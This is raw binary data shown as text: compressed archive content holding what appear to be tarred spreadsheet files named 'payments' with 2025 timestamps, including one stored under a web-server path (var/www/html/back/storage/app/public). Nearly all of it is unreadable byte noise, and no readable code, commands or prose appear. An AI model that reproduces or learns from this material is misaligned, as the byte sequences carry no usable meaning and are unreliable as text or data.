����69o%FK�O7�H�0���L��П��3Q��;�,��j"����mW8��l�<Z�@�	~&��2��ԏD]q��5[��*���aK�Ꙧfp��b��p^Q�vk7�J��-܊�$�Z�
��Bav+�C�Y�C�L���-Bͤ�d�����6:!�@����&8g�XY�=�j�N�v���ց�cQ��Osu��CRJwj#>�ޡ�:P�h%��2�����y"E�m%����r�^S�?T�y��&�~��g	�W�#
o�,��h��%�>m�T�����M�!�9a�ud3��{ę���U܄�^�k �c���>DTQ1	�g��bvƹ�)	�����Nk�
_�MH������}�t.�-lBs�r#8�*qa�*��.�Ċ�'T���߹��Z�_�����wѿnc�Ʀ�m��T&�2w�̜[E��	�w�9��y�x�
�W�L�W;���Jl2����R�~��J�D�i���X�7�*j���~[����us�TOk��*"3ƺOR���R23��yIsb;�i>�����p�c��]4����6�%xV�ͤ�P�Z�ɖ�t���`�F�a* �7�,��_S	�cCM���C�g+����$x��?|D��VTן�9١�Vh�U[��p�N��J�)9|Q߭���g�z5�0���|hߣ�iP�����w�W*l9�,s���r������"�V��e �B�����|��
O�Gt5H��"�L>�3`o�T��䢁r���xM��pt��"���HP�����j�g�Qg���݃2MU�=��,9�x���/�zN>� 's�
�-ۿx:�Q�[���<VCoi���s�8�?L,D�l���+�S!���@9t��3Z����߀c�oТW�;��yk�V�i�a-���y�u|���q(22A�{�o—��"t*5�x�޾Ć�����T�����pS���q��`̋&	ق
L��g�J2�V&���oiE��Fl�	�\",�s��..����Y9����1������8��KD�P+^R��B������C������2$����
:��X�$ʙ��&t��"M�d�AӾV�}̓�~���EL'��7)��f�Q��Ӷ ��iӧֹB[��S��������7ݍ�n�0����z��+���z�+�0�L�V��	\�a�"y�@��~G���W�6��K/(F���V�[�/������?�&�I�فy8}�AJj�zy�Z�~�' �.RjiԅJ9e��q_��{:�����^�A4_!���oJ�=/x�{�V��x����|��N�L�fN;�w�:��`鉯��h:�=����k :^�H�Y�S�HDMEws�1���%�5i����rOf�9�*�J�Z��~sEW-$�ƥ�MX�8k����M�g�'ڎq"����x��.`,<r�ːW`��()n$[�BP���E^�V\;'��	i�H�G2LŰc-g���LU�E
NG�f���i�|@ON���t�p��嶌0)��3�I�LF�\�/!�"7"���(�jH֘Y�V�0Z}l
�S�JKv$n�i�,Q1K���g
�$ђ|��%V��AS��C.��Pw5��B���z�j�����<~\~�q�,��f]�(����u5@l$^�&ܙ��W;���+��c��;�f͝���6���m�OyeI�Om!r�,�]@��P\o�n��$�����=���@�"���A�@b�x0B#RY���D�[G������$�~'�N;��<�]����V�F��y��r?L�V��Dx=S�ʹ�&�UX)E����H(��ų�#��Vp�T<xTYL����2�L�7s��!������������N�;g�ܨ3�����ag�H~'3x�a��*�&�{�f���2D�����$�F�/qㅝ��Vp8[�r�X�D��}��<��܀�zYj�j�
5�>l���0od��#�⠼\>R�!��%�/#,�6���X�(�g�p� 3�Y���R=\"���e�!NW�j3�Pl���L��GԾZ�iR�����!�7'�d��
��2zg�ʢ&9���`7���q���Ő�\:ާLό���Վ1�$X�
P�|<0�|Ш�YE]@	^�Zx@�.��~{c�I��NN���C��vA��х>�G�M*������ZSa�"���e�XڤTxf�d��d�b�A�oC��l��pk!.�F�t�&���zז��/����B�7��G�6M�
)���Ep�t��O�B��N?�~��p��V�OdFT��z�hn՜��f��*��Zˊ�"���j�Z�.:Lki��v�~;�2@���RN�/�6�zW
�-�e�m=#�2��Z�IY�(��;�՛�`�
��p���K��Gu��v}]��2��ex�%胣�7�6���<��$ ������[-�%�ʍWR�^(�����W%h��i�߇}4ձu0�͘�	��Pj0_�;.��8Jo�6Je���<f���o};צ���8�gU���K�3���;�7�����B ᵚQ+Ʒf�~�8�65��(H-�W��i��)4��z�FL*rhr�$��
%�w�Ч%�R�>����O*?����H�pV���DRqͦ����{����M��v��)	���p��y�/I��IoBP�o�ZѦ[!��,4�R&�-��2�in� �pT��%�qW�:�7k�'�b�
X�����s��E�H\��G�F��r���7=�B7�;M~��00=��L�_6�.ܲ}� �gj�F��F,�:��C��qT��b`2�c�z�I�|�L��xl�Ρ�.��G�(�{WoH��j���w&�8��������H��U{�>e��1�9�C���-�q�mqu���ۉX�bKݨ��a�Y�T�63����V׋D��Ac\�>!�,&�}s�1Y�X����͛6��/魑��u��M��H�ь��
�5|ej/Z�c.[�-�I��0FJ�u�H�1����#⧪����V%h�S�p�Od�"�;bx:����^)�7��;F*����[
�Yqq���yV'��<�5�X�D�yz��M�m7D�K�8G�����U���r��~w�!�/��
��\0%���Z����q7��U�CV��ͩ���Q���O,\,㈠"<��K��?'���5��3sTS�.���JK���͔-�%%��D�j�j,�l��M9_od��rl��:$�q��UA(��U�(�l5��S� �!U
yn�dž��J6��Oa����e"�m �Ȯ�i6\�]$��zV����0"�	�"-)�"��bzb)�4e�J� L��q�r���|� ��ٱ!.�׉��R7�=�
5�~00z-��?�IWp�w�2�z���K���c�A���z{���u�?�jV�t�K
�dC#�G�#�ӵd2O���,�3�}-��4Y��֢È�Ԩ�N�E�B��Z`R��u�`
[T`�����/�)2H�N&v�ıT_`\uH�P	i=�St�
;HrL@�`�
yp)��<7N���%Ug�U����y �OJoz<��vG�g��'�����B��)�w~�����?���H:l,ɩe�G	��Eo��E&T����i��i[t���{�1!)�F"��19�$���1
*~��#$�~SfnGmF�����^:ѭ�����fB��j���ry.�h�ͯ�?3'RU�q�5r����o���9�.p���u]�Q��V
W�[�=�y��O$|n�b3]\T�ur��N�Q)��I��
�oҮ(H�`��G���4ے+"��	$�?��+���w&*���\����,�>��4�X�8�sk�����r)7�N2�t��ƩC�2��<��Xџ��g�zb�c
VmZfКrɴ�7�g�t����Ra�?����
"��5X	;SA%�bp[G}烜{2-'?ܵ��=��;���C���l�1k[촥ĝ��tmp�p�j0���[��0��P����D�d�g��8I�ic/�ү{�2�<��l�	�s�H�~:p�J"*�jX�;ţ�^��U
��ʻ��}98i�!\�O�e{���	8��5��$�L���\��r�zrX��;���K{7p�����N���y\��8S�:��?:U�9��A2��|�ޚ�
���h���;mV�軖t�k�;Ko_�����d�k|\CGcɹ��=3�O������(��_��h99��c��>� U�5�sp�J�^�Ac�1vd�O�&3sڻ��5!�D��$ ���-�@)���פ��b�])�s�������/::��}NB��IJr����C�ɾ
���6��M�ٸU�'�G}�ν�O�c{�����噛��{�Ò%�_�5�^4+�Y4ǽk(�l�F�j��0�|Az���;�"�Τo�b�J�=�e����}
�lt�
����ڦ� �Jzk��0�udֿhj�1�]Wa��:J��5l(��e)!�SP"��.�9t�ܵ�"��q�0�ʻx~�XC[�I>7�� )B�r=\Bi��h�Jo��]V�7�!Cb�\uV�aA���ŷJ��%��b�7��&�ރ3���fACЭ*׾:؛�j��~{���ix����E��Dl�]�e���*�їk�s9��c%~<��B�UJ������a�MIr�\˛�XQ~aµ��4�*;a��;��=ݭ��́,^��Z�&��`��bTq{Y�����Z�֕�j���Wz�{����1���BJs��bH���z������ٮ����͊��S�G@_��;_��!�_��%�F'�4�D��G熔LK}�a��'>����`�wX�"�{
�_
����dL�^,��[�M�Cy�A�?�A �\A<���I}��
�֯[�/�`�K��F��"hRT���F?cB��o~��B�煏�p�[�m[�9�G�QO��џ�7���z��3A?S�Ǽ,���iS��P�G�ٲ��H��F!��+7%3Y�;���j=tďɽ�c� ���6���*�e_�Lf��K�@�e�{~C�\�3�uu8a��Ϸ���{�X�%(��f��腝�	�Ɇ0���@̺MJR�){���j�\�CAB��`A���m�̉�I���兩������N!�l`�p�f�b��%ij3\�8W����*>�(Ȕ��ٙg�Le�
��E�o
EvFet��-�L�x3��E�i�QaN�D�+��P�W	s��B�A��d
%���;��j����{�%�ާH��S�~y�T)�G��Soq>���\\õ�-I4��֒S_.>\U�Y�x�W��2���f5>�����f�ڪ���'��ި̃�1�T�Z`z��}h�MnQ�!A(��$Me87���P:=`��1CA8%Vۂ��0*+8w���!��ܺ���0Fj��|w��^����֐%.��n�@�qEܷF�}'��q�x�m� ��9o��X�0�E���aX��]�Ш4�L1qﰬ�{!7�X߽�.��n�b����s˨?߳�]� �	��� U���X���nJ����;}�+�v4�v�Kk]�,LS�o�'�X����Q�F�!u�����~11�&0�Z(��j(�)T�?����"���)�d��_mC	IU�/���gO?��]���11��lC��=���:0N)Eqe��E*g�6c�1�B��	u(h�d�)	&�{�s<��T���WaBC�0k�y	(��)(¨�m_�谁"�1�-1�>��Y)�
`)�(��tw�F��ab�1�&򒿌��T��|���B+�)�O`�B��*�P���������|�(�OC�
[�2�ov&��R�p�j�ϸS
����ħ�AQ*k/*����K��A1���
dk�^� �
#�ⷆ�a(�9�����g�+�Rd�o%�u�z�*˻��Y���0Y���*��	��$=߯W��?�!�y��ho�Kw�9��-��y]�x�_K�[_?!DZ��!E�J���T�P�ݺ+g�dnm�DG|�!/�_և%�	���:#��u�X����g9���z*g91��v�i`F|^=��a_�����f�
��v6�,c�.��(faTmR��T�y%�yYCr��n2�t��.�t;�z(*Py?��ޮ�G�[�\�CeP����6��� z�9��Ue�o�F����c��J�]��!pZ��i�adݎ`/E�,`�ה�-�&�1R��8ָő�b�&�sS��`~?;�%�KO���V����G�F3#-л�+��h;�9�7���>���.KG���>ɗ��m�+�~�d��~~s���z��1�b�ƍw�N�(���P/�����9�a��K���G[{~P°h��
���7�T�W��������o}��s��֪4�\5��yj�o�ʨ��(��@����@�M{�%S���Q��O3�*����2��p��:Y��l}�:8�>~^�"���xtkq���O��/���s�!!�8�AX;���t�|�P�Q���W�Єuw��Ө�*��?D>)�ۋ�_J��>�[�S�`C�$Gx�4\�F2q�����3��3��z�1�ĥ�?l��P�6�'#�k5��l�,g��H���P#bj'-{�ysb�pQ3�_��7�&�'�%�Y�um9K\�*ݚ��4>��|�S�������$��?�#��	�h�+@�3�/�뚿:<���*�8�K��|z�S��w�W�����t�]�՝�w:ɟ�/��
���ۅ�?~_������������b�l�t��c��	�?���>}~E'��o'���O����s H�����?�7�o(PK!��Φ��45dkj3p/payments 2025-07-18 12-09-36.xlsx.xlsx.tar.gznu�[�����zeT۶u��NpwwwwҸ6����]��K�C��܃���s�}I޹��7�x?���U=��kV�5�^Uk�v51���1[8��0�X3;9ۃ�́�F�.�6�&�F�@;g'66NFnFVV6F^Fv.&w'w��h,/�����,,l,�����1���E��?��1'g#��%�7��Дd! 1XX�х�d�X�p	` ���v�/��y8���mmT5�ʄ�
},��7��ی2uo`9�{����PG�5��\���%%ϾI�3?�0��:w�<4
����J�AӠ�Ȱ��I�a"���º��
_>�5���1���	/J^/��!�����h�f�6r?|Ұ�ŏ$k����� �A�c6��\*�5K���]r�$���,
�`����Uu�dr��)�m�^��n��F���+��g��
���QE�N�nJ�<�ES�h�^�TEO>������V�b���ik(�Z��F�tI�����
������Q�L�˿�6h�!�!N�Q~�w�j��:s��2y�|���;�1�/�i����YB�����Fn���d��:A@'f�?���!n̪���>�+���D����&�:�I�o!I��>!�P��}QI�����_�C�gj�d��"V�
��@��k�Ծg�\�tk3'����p%X��,��'Q�fL���dI!�p�^�7�8�f�邨�Z
��Oiâ)�����4G�FPJS�~�$����R"J�`� J�<#5��(my܍������M=�#�lؤ���!�|��sKp0zL`3$xC��ֵgI-�רS�j������D�݆���ك����Hӟ���$T��G��W�X'�=���F9in���WR��0��CR�c7<��r�0�9t2�{�5���K����!��(f��	8v	A>������2lȒ��{��_M��~�)3p���Q�,C (�~��� I���k]��6�ػ�	��z?ʌ��g
%�oJ3��);�:�t�-�\������,�0N+t�vw�=��bHz<Bz���q/>6T��q�u@�k��L3�߿�dq�%H��&J {�?�_�8SU�n������Od<���P�p�����-F�n�V�L�ay[-���o#N�ih�5U]��q�x�j��(%�͚�`x �7�{E?����U�H?v�0r��PC��Α?v˱S1\)�8�ox�cn]����3�����u���)�x�a��|=�ٰ��ꨯ�Oؔ6DJ)q�t�H�@S�p�v{i��l��ta�w�cD�eS�r��D�ؾ�Ʒ�_��J��b�>o�V����
�I�#�>c�sb5�	�šfo��Q؆�]�m$�a�:0&��DT��0�d�a�wŻ�*
����1��
]�O��y����o���U�
5��u��]p��2RT|�KfA;,�g:�����>,-�Gx�ش5qgU�5�M.O��Ubʈ�&~��+ot�'4���^xC��7{�/�
�z���/��^�>�M4��"	�2��	s����HZא�b}�2�x<��i�޲���n�{\$���D�����Y����q�}��#���[�#x�X����2c���h���8o�c&{~�T���|Hc��K�Ə���p�E��a%9N.'{�5�35c�0����ib�Wj^�O�m'f՝2��3���oU݊:��;������Kg�a ��~4��-.�����̭e�B�W�7TF��f��
''8N*Q_oɀɖ�
Ã�m��3N���V�(/���}�BJ�xz��j�,�f�{,� �g��Y/m�o��=Z���3d@o���� ��fΣ&���JÃ=�d�_Ir���n��^���|�@�@[�Gֿh:�V�_���:UEmm���u	�?Z8N*BBo�����U&�/�D:v�7Z����ۈe�ߪ_�7��uo����Ò�F�0�1��&��\���Xxt�-��7�6Y�DZ0�ḃC�-i���A��Z31�y.���jbƁ����M�e
_52��^�)J�[�0W���G��]��·v��4΅꾺v��	|�'k�4�>�N�̖~��s��'�D�pMn^7��_a��O�4$}_�.�˰PR��TVu��)�EiMt�x3�ީ�I��C�F��P��z]k�W�P]�>�.5'9�λ�J�͟�������+���V��z���ݠ��*Zt��W�7;��t;Vu�Nϭ�o{�8�>L�变Be8��B��~E"oG:���`Pnll���r܀��k�h֚�,Ֆ\��C"v�أVTb�v�~2%�GH+��R�@J��9��~�������y���������"t�+8���5��y���l߇��d�������.o#h:���r�.!���É�ۧZ�N�3�K9�V�I��� �n>�D���DMu��";F�l�x} ������H̸��ck�i��󻩌L�$�q�����co��~��'�w�r�^h�%-C$�<p�4�["��74��.����{D�r�Lxӱl+9��@3T����o�����1�)�Z��[.�<\V&E��X�	)p]��$ӤFWd�a;�)�+=JaFk���0?(�
��8��Qw��*����]��0~�"Ҕ�t��c��n��
�3�Y�52]%��I-E%��Jp|7���4Q�pf��n�f��腼(:� @�Bx⧕�t��<����Ic�U�󶵝a�q�z�fsq�K�_�]��S{�,3n���p��/~�	mU �xv�IY^l1��ep�)�L�	�<��W�����i���U2̀�l�=��v��A�^�Gxk}~#0�|�!v��
�f֫���<^���S5�,��;7�=8Ddx�	����<�쭕��Ֆ�s������-����*&�2�V|u|"�9���[�&����C<P�l��)龜.�-?Y������sX!U�J�S[Ғ�R���#�g�����		g�V�//?���@-*;h�Y����FoKU�_� -���g�	|Ip~/1�RӲ��Q�����l�,��zs���YB��Òi���'�2�����u�Hv����аu�k���B�$f�a-@�98���j"^!��2��.��ʘ-,*b�"���$������Sgf'�y���f-��B��>�>jR⨦*$-��|-:��찻5�,X�#+|�ቦI��\��J���6����\�J��(��KP��I�eJ2<
�G�}�iƞ�<s)��ܯ1R�}�>�i�� �y�U�Ok3�[��Y�[k��̆�p9A�;��蓠#�fb�Ը�b�����8���{�݀*�22��g�w�0MU�A�v�N��|a܎SU��<M}7W0m�u�t�{b�=
iSaW��L�2y�/T�r��7�%�.�5��ҞШ�f��JH`��޵��QnӤU�"uGxJ��='5Ҥ=څr�oW�8e��CcK�wWq��D��|�oD@�!J��̊���o��NI�ƫ�􉌯W��ë��h5+~|�h�m��N�9��.�2�L�DgBF}i��Ru�!´��t�=�v�]A��i�׺��WJ��WpL��
ۂ@���1k���5�3XO��
H�e7r�i�-�ԅV�zFM*s��ŋ3%����ҥ'ő�=���L)=�!1��J�rT⏄��FRp�e�����z�}���I��q��-
+��r^�z:,�c��Km�Q���Pf���-ճS�
,ᘂ�
h�q���4�T`%n�׌�j�k�����8Y���fh��J��{�܌�FG��_�h~��l&u���Q�7;��H
X1�*ڱ{�(�cf�N�d JL�.�I�0&m_98����h3�,j:J�[T�7m�ʥ2�_�/�HUT3���*�5�~QU!�	J4t6?�)5]�F�c=p'V�R�
��ŝ�x��A~�˻��Uĺ�ىbp������U�%��,���en^sS�#��	'a�°��sF�TB�gp�9U�T�����C�u���H�E�6K@�:cy�m�h6�v�����%�)���֎�u[-��6h4�����	�S�X��p�"$�9X��'��=Q�+�D6ϣ&�T�;=�@�w�-����o�a,��3؞V(��:afk�-�c���.��>|�5S<��IѪ���%3Y=����P!ʅ�݋����.Zw%�����a�GB�0C,�
� ��n@Ͽ�[�`	#ý��˰�?���
�_+sLC�>���FS������9��d�J�J54�\�P������-"By��R=̄@�;U�B�k�*��z0ڰ���S��Z+[ҧ Jҁ׸���Ǽ�` D����t[N�I�n��]�%~�(�D+��TK�J'�]Q��TH�rOEH �yؑS�p�A��c�tҬ�0'�$L�;�^��ڴG�I(����BA�C��X���ER�Y�}ߌ������s|'�{V��z���9^3/�~��#��2eG!��!�ձb�H凉�.�7�~#��0Y��ު̀�ܤ�
JdF�C�B[��8u�t��YV�����&,�*�K�M%u��3W�^��tJ�Rj>�u=�8J�OB}g�
~x-��2?A���#Yo�]����u$�GL獶kv:��@�k]�/�����L��.�y�K��Pp�b���0��ܺ髈���/��*⃷��y���y{t��2�G�)ϸ�!1�V��)�iiNaS:D���'p��~Ƭ�κ�:�ٷ�}�";�qG8��ͤz��K��R�Q�̛�7�ȜHy��7���G�6$�DfrI]atT��'�����o�>�)L?y��Pd���޻�e��6*�i纘:3E
�J)%�=Ƅ�ߥߐ99CM[�`�9j��TF���Oqx�mPU4�MV)A��X��[|��j��Tv*��0� V�Tj���O���W�g�}B	)��;�M�9�BG��Ʒʤ1�n?l�˱�
���V�@�x֋��B�G!h�r��H1ň�n�[v�Ͳ��y�@
.x{
;b�������dҲ�kO���`��*���r�h�f]7�mi\G&�!�O�Sj����yp��Ѷ�ed��c��ɷ�̊��5g����5z����QI#B�Ȟdu��ґ��������J�Ϻ
��@^(?�CLĚ+��'�c\z����\����Օ�("��Xx_߷�5p���m����t�ȑ�E�ѹZ������O�+���mX���d��y�re����k�EF��UC�/�7�r��i.�9���̰9q~~�&c��e������ӿ���4]�|�U�����Nq�����YY3>�^nYpI&
&g����p�����&�����K�^�d>?ՍeRk��֓�wt4�M*�poO��{l?�_��R�ΰ=��>�����u��i
l�@?�j�*��"k���� |D�t嫍F��˖�w����i|�^�[�W,J-yC�`Y�Ҟ��)WS��צ���}q�K���.]5m�G=����'
�ߛ8;NiG��,�Y��}ӑ�-��§x���K	�����J}�ݺ���vH?�_-��,]=�Ҕo���+G�KG
S��΄���g5ٮљg~���K��߻U_T�,��6��Uk�1g�Z���nV��;��i0ޫps��|X�(Ɵv�h��G��l��]����ڕ��2�qz��w�&Ld��\��IjV�]�Y�04L��$J�m58��cr�_�O究Roy �?�ٹ���.���c���
Q)-E�t�'��j~[��h[�����z�r�@X��&�5'�8P%�Є��k��p$5��'�m))�S��E�e����O������k�:�Ͼj����Y>]!!�c�ɥ15�JO�yD��W�tl�?Ē�Ʈ��Ac�W� g�Þ_2g���Imp&!<����bO����n�M�p��wz�{�x�ߣ��~c(�����t����
,����|�ߑ�E���i�aǧ}g(7�#�9:f��xc�H���.X��i���4�}���ə��6c��3{�J�+/jɌt�i��zwT
7�]��p>�ڻE�N���G8��֍��E0�B[�!�u*s�A"b>s<�k�z3����~��~8�`��[@|]�.���	�ɖ�iD�92��M���(,b[�G@�*��_J�6�^�%�V;�-XB�2��jJ�o{�|����)�qb�P��pɒ<a�_/�4� �`3R(��g�}N��.$to7�$D���)���,��b-�¦�Z���r��'�Y8mK��[�\1�ql��)�t��!���Rn$��a�#�O��#�B�\%�O���`y9���XRŹ�#A0��ڊC
W6!\E�E�d�O��<����f�?�"����a
�ܩ!#�g�ڪʇ�5�T�^d~��ul�CjY�(�3E]�E�ݡ7�V״aݘ�0��}Qjg��7AC�Q�KjSEBZ%��q��F���]�QGs�
��mv�x���[�J��,8���Cf8��P��0�2�7!���c��a�d�odz�{WS6�͡�ƥ���#�B�B�>�g�'Fv�t�Y��Q�>�E=���K��86۽�7�v7*�hF�hJ�lt3���3h&G��(���zt���B�:��X&�8�N$\U$:�T
�L1���#�������$�L_�B�JV]��`%��<!�\�2��{���2*�8k�;���E���I����)�c���C�ɨ�-��z�r�.�QU(��֠�B%�k�x����>Pl�Q�j���#��z��l
c���y�1F�Z�*�z:�"�i��P���xH)#"�U�"B��z��k����������Aj)���v���܄+��RSo`*���A��䔣�6��k��Α�
�� ���u�y�3��dDd�2T���brOb��!� ��Ti��5����F��2W�T�L 
{/����;�XU���R��iتZ�͟�]:��~�?���[�ڏ�e��T]����m����H���3\��z=B���X;@�	>ý�j.Y��vXdԗ��;�uÇU�ud�����ZKc�;�4�G�oo�Z�j��5Ԩ���hep�:��ߞ`�g\ �I8c���1���Y��E�%�-|M�XP�^�1$+�!!��N�dɰG<���V�?�����z����ɦ<VWb)Ls��j�?8���F[�YS��H�7��Pw�1�������
�I����F6p�)����N���rM#���[�x�f�>7~.�6-`c����R_ml#{��x�n27���o��勶�ǘ�6�<����~E*R���Y�lH�aT��4����nb۵����jw��z]�t�"��B>�KG����ڏ�Ov�|���~[f�G"a�邯X�Ձ�	���'�-��N�ȯW�����q���S�S��g/5����V�|�+�L�8���+��lq�>͚)���Hg�Ɩ�U,��`�,��+�����y���W6�ɽ�c� _
�a��$��,A�Y,����SebYf�2�A��Q3�Å߯/Nc�*d� ��K��^�����_2�|+28)*��P���
�ɨ� e��Ո���ދ��:>��q�`u���!��X�qx�w�w%[XZr��
�]+y�;?؇����[��*���
�.�=���{�E�FD��bT��f���,8�S��2���F��W�g��؟���5v,|��"��8�*?�|z�]��W��g�@(�W�~w�U�ٝ�w:���n�����ۍ��~������﮿��?���~ow��c���o���Q~]>?�����II
�����KĀ���?��;��!:�(PK!s8�"",5dkj3p/payments 2025-05-28 15-32-07.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-28 15-32-07.xlsx000075500000015356000000000000020162 0ustar00PK|�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK|�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK|�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK|�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK|�Z�KrdocProps/core.xmlSV���N�0D�|E�+J�*�(M%�8��D\�����m�!��i�8E�?�\.��:���s�MI@#�^����6�"�G�%���9�EuV
[���$��/���
�-(�b
����|3���[S�Ŗ���]��K����ԎD�CJ1"퇫#@

54���l��C�5���9J6
;F���j�m;i�1�����c\5U��J�J)
ဣqՓ�j��d9�y}�5�xS ����ߑr�����a���<]ެnI��|��Y�_��Y1�vy�X�X?�	�@mv7����.Pa
a���ɣ
wJ��X�`�A	^8e1<�*Z'?���� p0G:�B�'};�������u��C����PK|�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK|�Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK|�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK|�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK|�Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
